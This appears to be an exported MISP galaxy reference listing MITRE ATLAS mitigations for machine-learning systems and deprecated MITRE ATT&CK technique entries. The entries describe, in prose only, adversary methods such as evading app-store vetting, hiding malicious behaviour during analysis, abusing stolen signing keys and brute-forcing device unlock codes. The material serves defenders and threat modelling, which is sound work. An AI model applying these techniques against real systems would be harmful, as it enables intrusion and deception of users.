• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Infer Training Data Membership" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Discover ML Model Family" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Extract ML Model" with estimative-language:likelihood-probability="almost-certain"

Table 4825. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/mitigations/AML.M0002">https://atlas.mitre.org/mitigations/AML.M0002</a></td>
</tr>
</tbody>
</table>

Model Hardening

Use techniques to make machine learning models robust to adversarial inputs such as adversarial training or network distillation.

The tag is: misp-galaxy:mitre-atlas-course-of-action="Model Hardening"

View relationships graph

Model Hardening has relationships with:

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Erode ML Model Integrity" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Evade ML Model" with estimative-language:likelihood-probability="almost-certain"

Table 4826. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/mitigations/AML.M0003">https://atlas.mitre.org/mitigations/AML.M0003</a></td>
</tr>
</tbody>
</table>

Restrict Number of ML Model Queries

Limit the total number and rate of queries a user can perform.

The tag is: misp-galaxy:mitre-atlas-course-of-action="Restrict Number of ML Model Queries"

View relationships graph

Restrict Number of ML Model Queries has relationships with:

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Denial of ML Service" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Spamming ML System with Chaff Data" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Exfiltration via ML Inference API" with
• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Invert ML Model" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Discover ML Model Ontology" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Black-Box Optimization" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Infer Training Data Membership" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Discover ML Model Family" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Extract ML Model" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Cost Harvesting" with estimative-language:likelihood-probability="almost-certain"

Table 4827. Table References

Links

https://atlas.mitre.org/mitigations/AML.M0004

Control Access to ML Models and Data at Rest

Establish access controls on internal model registries and limit internal access to production models. Limit access to training data only to approved users.

The tag is: misp-galaxy:mitre-atlas-course-of-action="Control Access to ML Models and Data at Rest"

View relationships graph

Control Access to ML Models and Data at Rest has relationships with:


• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Model" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Exfiltration via Cyber Means" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Data" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Inject Payload" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Poison Training Data" with estimative-language:likelihood-probability="almost-certain"
Use Ensemble Methods

Use an ensemble of models for inference to increase robustness to adversarial inputs. Some attacks may effectively evade one model or model family but be ineffective against others.

The tag is: misp-galaxy:mitre-atlas-course-of-action="Use Ensemble Methods"

Sanitize Training Data

Detect and remove or remediate poisoned training data. Training data should be sanitized prior to model training and recurrently for an active learning model.

Implement a filter to limit ingested training data. Establish a content policy that would remove unwanted content such as certain explicit or offensive language from being used.

The tag is: misp-galaxy:mitre-atlas-course-of-action="Sanitize Training Data"
• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Data" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Poison Training Data" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Poison ML Model" with estimative-language:likelihood-probability="almost-certain"

Table 4830. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/mitigations/AML.M0007">https://atlas.mitre.org/mitigations/AML.M0007</a></td>
</tr>
</tbody>
</table>

**Validate ML Model**

Validate that machine learning models perform as intended by testing for backdoor triggers or adversarial bias.

The tag is: `misp-galaxy:mitre-atlas-course-of-action="Validate ML Model"`

View relationships graph

Validate ML Model has relationships with:

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Model" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Inject Payload" with estimative-language:likelihood-probability="almost-certain"

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Poison ML Model" with estimative-language:likelihood-probability="almost-certain"

Table 4831. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/mitigations/AML.M0008">https://atlas.mitre.org/mitigations/AML.M0008</a></td>
</tr>
</tbody>
</table>

**Use Multi-Modal Sensors**

Incorporate multiple sensors to integrate varying perspectives and modalities to avoid a single point of failure susceptible to physical attacks.

The tag is: `misp-galaxy:mitre-atlas-course-of-action="Use Multi-Modal Sensors"`

View relationships graph

Use Multi-Modal Sensors has relationships with:

• mitigates: misp-galaxy:mitre-atlas-attack-pattern="Evade ML Model" with estimative-language:likelihood-probability="almost-certain"
Input Restoration

Preprocess all inference data to nullify or reverse potential adversarial perturbations.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Input Restoration"*

Restrict Library Loading

Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.

File formats such as pickle files that are commonly used to store machine learning models can contain exploits that allow for loading of malicious libraries.

The tag is: *misp-galaxy:mitre-atlas-course-of-action="Restrict Library Loading"*
Encrypt Sensitive Information

Encrypt sensitive data such as ML models to protect against adversaries attempting to access sensitive data.

The tag is: mish-galaxy:mitre-atlas-course-of-action="Encrypt Sensitive Information"

View relationships graph

Encrypt Sensitive Information has relationships with:

- mitigates: mish-galaxy:mitre-atlas-attack-pattern="Discover ML Artifacts" with estimative-language:likelihood-probability="almost-certain"
- mitigates: mish-galaxy:mitre-atlas-attack-pattern="ML Artifact Collection" with estimative-language:likelihood-probability="almost-certain"

Table 4835. Table References

Code Signing

Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing. Adversaries can embed malicious code in ML software or models. Enforcement of code signing can prevent the compromise of the machine learning supply chain and prevent execution of malicious code.

The tag is: mish-galaxy:mitre-atlas-course-of-action="Code Signing"

View relationships graph

Code Signing has relationships with:

- mitigates: mish-galaxy:mitre-atlas-attack-pattern="Model" with estimative-language:likelihood-probability="almost-certain"
- mitigates: mish-galaxy:mitre-atlas-attack-pattern="ML Software" with estimative-language:likelihood-probability="almost-certain"
- mitigates: mish-galaxy:mitre-atlas-attack-pattern="Unsafe ML Artifacts" with estimative-language:likelihood-probability="almost-certain"

Table 4836. Table References
**Verify ML Artifacts**

Verify the cryptographic checksum of all machine learning artifacts to verify that the file was not modified by an attacker.

The tag is: `misp-galaxy:mitre-atlas-course-of-action="Verify ML Artifacts"`

**View relationships graph**

Verify ML Artifacts has relationships with:

- mitigates: `misp-galaxy:mitre-atlas-attack-pattern="ML Supply Chain Compromise"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-atlas-attack-pattern="Unsafe ML Artifacts"` with estimative-language:likelihood-probability="almost-certain"

**Adversarial Input Detection**

Detect and block adversarial inputs or atypical queries that deviate from known benign behavior, exhibit behavior patterns observed in previous attacks or that come from potentially malicious IPs. Incorporate adversarial detection algorithms into the ML system prior to the ML model.

The tag is: `misp-galaxy:mitre-atlas-course-of-action="Adversarial Input Detection"`

**View relationships graph**

Adversarial Input Detection has relationships with:

- mitigates: `misp-galaxy:mitre-atlas-attack-pattern="Denial of ML Service"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-atlas-attack-pattern="Black-Box Optimization"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-atlas-attack-pattern="Erode ML Model Integrity"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-atlas-attack-pattern="Evade ML Model"` with estimative-language:likelihood-probability="almost-certain"
Vulnerability Scanning

Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.

File formats such as pickle files that are commonly used to store machine learning models can contain exploits that allow for arbitrary code execution.

The tag is: `misp-galaxy:mitre-atlas-course-of-action="Vulnerability Scanning"`

Vulnerability Scanning has relationships with:

- mitigates: `misp-galaxy:mitre-atlas-attack-pattern="Unsafe ML Artifacts"` with estimative-language:likelihood-probability="almost-certain"

Model Distribution Methods

Deploying ML models to edge devices can increase the attack surface of the system. Consider serving models in the cloud to reduce the level of access the adversary has to the model.

The tag is: `misp-galaxy:mitre-atlas-course-of-action="Model Distribution Methods"`

Model Distribution Methods has relationships with:

- mitigates: `misp-galaxy:mitre-atlas-attack-pattern="Model"` with estimative-language:likelihood-probability="almost-certain"
- mitigates: `misp-galaxy:mitre-atlas-attack-pattern="White-Box Optimization"` with estimative-language:likelihood-probability="almost-certain"
**User Training**

Educate ML model developers on secure coding practices and ML vulnerabilities.

The tag is: `misp-galaxy:mitre-atlas-course-of-action="User Training"`

**View relationships graph**

User Training has relationships with:

- mitigates: `misp-galaxy:mitre-atlas-attack-pattern="Unsafe ML Artifacts"` with `estimative-language:likelihood-probability="almost-certain"`

**Table 4841. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://atlas.mitre.org/mitigations/AML.M0018">https://atlas.mitre.org/mitigations/AML.M0018</a></td>
</tr>
</tbody>
</table>

**Attack Pattern**

ATT&CK tactic.

Attack Pattern is a cluster galaxy available in JSON format at [this location](https://atlas.mitre.org/mitigations/AML.M0018). The JSON format can be freely reused in your application or automatically enabled in MISP.

**authors**

MITRE

**Test ability to evade automated mobile application security analysis performed by app stores - T1393**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1393).

Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)

The tag is: `misp-galaxy:mitre-attack-pattern="Test ability to evade automated mobile application security analysis performed by app stores - T1393"`
Choose pre-compromised mobile app developer account credentials or signing keys - T1391

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1391).

The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer's identity and reputation to publish new malicious apps. Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudulent Apps Stolen Dev Credentials)

The tag is: `misp-galaxy:mitre-attack-pattern="Choose pre-compromised mobile app developer account credentials or signing keys - T1391"`

Enumerate externally facing software applications technologies, languages, and dependencies - T1261

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1261).

Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)

The tag is: `misp-galaxy:mitre-attack-pattern="Enumerate externally facing software applications technologies, languages, and dependencies - T1261"`
Obtain Apple iOS enterprise distribution key pair and certificate - T1392

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1392).

The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)

The tag is: *misp-galaxy:mitre-attack-pattern=*"Obtain Apple iOS enterprise distribution key pair and certificate - T1392"

Table 4845. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1392">https://attack.mitre.org/techniques/T1392</a></td>
</tr>
</tbody>
</table>

Analyze social and business relationships, interests, and affiliations - T1295

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1295).

Social media provides insight into the target's affiliations with groups and organizations. Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)

The tag is: *misp-galaxy:mitre-attack-pattern=*"Analyze social and business relationships, interests, and affiliations - T1295"

Table 4846. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1295">https://attack.mitre.org/techniques/T1295</a></td>
</tr>
</tbody>
</table>

Linux and Mac File and Directory Permissions Modification - T1222.002

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL
implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: <code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode).

Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques)

The tag is: <code>misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002"</code>

### Table 4847. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1222/002">https://attack.mitre.org/techniques/T1222/002</a></td>
</tr>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110">https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110</a></td>
</tr>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdf67f4e4373c14e4d?environmentId=100">https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdf67f4e4373c14e4d?environmentId=100</a></td>
</tr>
</tbody>
</table>

### Install and configure hardware, network, and systems - T1336

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1336).

An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)

The tag is: <code>misp-galaxy:mitre-attack-pattern="Install and configure hardware, network, and systems - T1336"</code>

### Table 4848. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Compromise 3rd party or closed-source vulnerability/exploit information - T1354

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1354).

There is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)

The tag is: `misp-galaxy:mitre-attack-pattern="Compromise 3rd party or closed-source vulnerability/exploit information - T1354"`

Table 4849. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1354">https://attack.mitre.org/techniques/T1354</a></td>
</tr>
<tr>
<td><a href="https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage">https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage</a></td>
</tr>
</tbody>
</table>

Discover new exploits and monitor exploit-provider forums - T1350

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1350).

An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)

The tag is: `misp-galaxy:mitre-attack-pattern="Discover new exploits and monitor exploit-provider forums - T1350"`

Table 4850. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1350">https://attack.mitre.org/techniques/T1350</a></td>
</tr>
<tr>
<td><a href="https://www.threatminer.org/_reports/2015/Equation_group_questions_and_answers.pdf">https://www.threatminer.org/_reports/2015/Equation_group_questions_and_answers.pdf</a></td>
</tr>
</tbody>
</table>
Acquire and/or use 3rd party software services - T1330

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1330).

A wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)

The tag is: `misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1330"

View relationships graph

Acquire and/or use 3rd party software services - T1330 has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1308"` with estimative-language:likelihood-probability="almost-certain"

**Table 4851. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1330">https://attack.mitre.org/techniques/T1330</a></td>
</tr>
</tbody>
</table>

Acquire and/or use 3rd party infrastructure services - T1307

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1307).

A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)

The tag is: `misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1307"

View relationships graph

Acquire and/or use 3rd party infrastructure services - T1307 has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1329"` with estimative-language:likelihood-probability="almost-certain"

**Table 4852. Table References**
Acquire and/or use 3rd party software services - T1308

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1308).

A wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012) (Citation: Nemucod Facebook)

The tag is: `misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1308"`

Table 4853. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1308">https://attack.mitre.org/techniques/T1308</a></td>
</tr>
</tbody>
</table>

Test signature detection for file upload/email filters - T1361

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1361).

An adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)

The tag is: `misp-galaxy:mitre-attack-pattern="Test signature detection for file upload/email filters - T1361"`

Table 4854. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1361">https://attack.mitre.org/techniques/T1361</a></td>
</tr>
</tbody>
</table>
Acquire and/or use 3rd party infrastructure services - T1329

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1329).

A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: TrendmicroHideoutsLease)

The tag is: `misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1329"

View relationships graph

Acquire and/or use 3rd party infrastructure services - T1329 has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1307"` with estimative-language:likelihood-probability="almost-certain"

Table 4855. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1329">https://attack.mitre.org/techniques/T1329</a></td>
</tr>
</tbody>
</table>

Acquire or compromise 3rd party signing certificates - T1310

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1310).

Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don’t know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)

The tag is: `misp-galaxy:mitre-attack-pattern="Acquire or compromise 3rd party signing certificates - T1310"

View relationships graph

Acquire or compromise 3rd party signing certificates - T1310 has relationships with:
Compromise 3rd party infrastructure to support delivery - T1312

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1312).

Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)

The tag is: misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1312"

View relationships graph

Compromise 3rd party infrastructure to support delivery - T1312 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Acquire or compromise 3rd party signing certificates - T1332" with estimative-language:likelihood-probability="almost-certain"

Acquire or compromise 3rd party signing certificates - T1332

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1332).

Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. (Citation: DiginotarCompromise)

The tag is: misp-galaxy:mitre-attack-pattern="Acquire or compromise 3rd party signing certificates - T1332"
Acquire or compromise 3rd party signing certificates - T1332 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Acquire or compromise 3rd party signing certificates - T1310" with estimative-language:likelihood-probability="almost-certain"

### Compromise 3rd party infrastructure to support delivery - T1334

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1334).

Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)

The tag is: misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1334"

### Human performs requested action of physical nature - T1385

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Through social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the
phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)

The tag is: misp-galaxy:mitre-attack-pattern="Human performs requested action of physical nature - T1385"

Table 4860. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1385">https://attack.mitre.org/techniques/T1385</a></td>
</tr>
</tbody>
</table>

Abuse of iOS Enterprise App Signing Key - T1445

An adversary could abuse an iOS enterprise app signing key (intended for enterprise in-house distribution of apps) to sign malicious iOS apps so that they can be installed on iOS devices without the app needing to be published on Apple’s App Store. For example, Xiao describes use of this technique in (Citation: Xiao-iOS).

Detection: iOS 9 and above typically requires explicit user consent before allowing installation of applications signed with enterprise distribution keys rather than installed from Apple’s App Store.

Platforms: iOS

The tag is: misp-galaxy:mitre-attack-pattern="Abuse of iOS Enterprise App Signing Key - T1445"

View relationships graph

Abuse of iOS Enterprise App Signing Key - T1445 has relationships with:


Table 4861. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1445">https://attack.mitre.org/techniques/T1445</a></td>
</tr>
</tbody>
</table>

Deliver Malicious App via Authorized App Store - T1475

Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. Mobile devices often are configured to allow application installation only from an authorized app store (e.g., Google Play Store or Apple App Store). An adversary may seek to place a malicious application in an authorized app store, enabling the application to be installed onto targeted devices.
App stores typically require developer registration and use vetting techniques to identify malicious applications. Adversaries may use these techniques against app store defenses:

- [Download New Code at Runtime](https://attack.mitre.org/techniques/T1407)
- [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1406)

Adversaries may also seek to evade vetting by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis. (Citation: Petsas) (Citation: Oberheide-Bouncer) (Citation: Percoco-Bouncer) (Citation: Wang)

Adversaries may also use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. (Citation: Oberheide-Bouncer)

Adversaries may also use control of a target's Google account to use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account. (Citation: Oberheide-RemoteInstall) (Citation: Konoth) (Only applications that are available for download through the Google Play Store can be remotely installed using this technique.)

The tag is: `misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475"`

**Table 4862. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://dl.acm.org/citation.cfm?id=2592796">http://dl.acm.org/citation.cfm?id=2592796</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1475">https://attack.mitre.org/techniques/T1475</a></td>
</tr>
<tr>
<td><a href="https://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/">https://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/</a></td>
</tr>
<tr>
<td><a href="https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei">https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei</a></td>
</tr>
</tbody>
</table>

**Device Unlock Code Guessing or Brute Force - T1459**

An adversary could make educated guesses of the device lock screen's PIN/password (e.g., commonly used values, birthdays, anniversaries) or attempt a dictionary or brute force attack
against it. Brute force attacks could potentially be automated (Citation: PopSci-IPBox).

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="Device Unlock Code Guessing or Brute Force - T1459"

View relationships graph

Device Unlock Code Guessing or Brute Force - T1459 has relationships with:

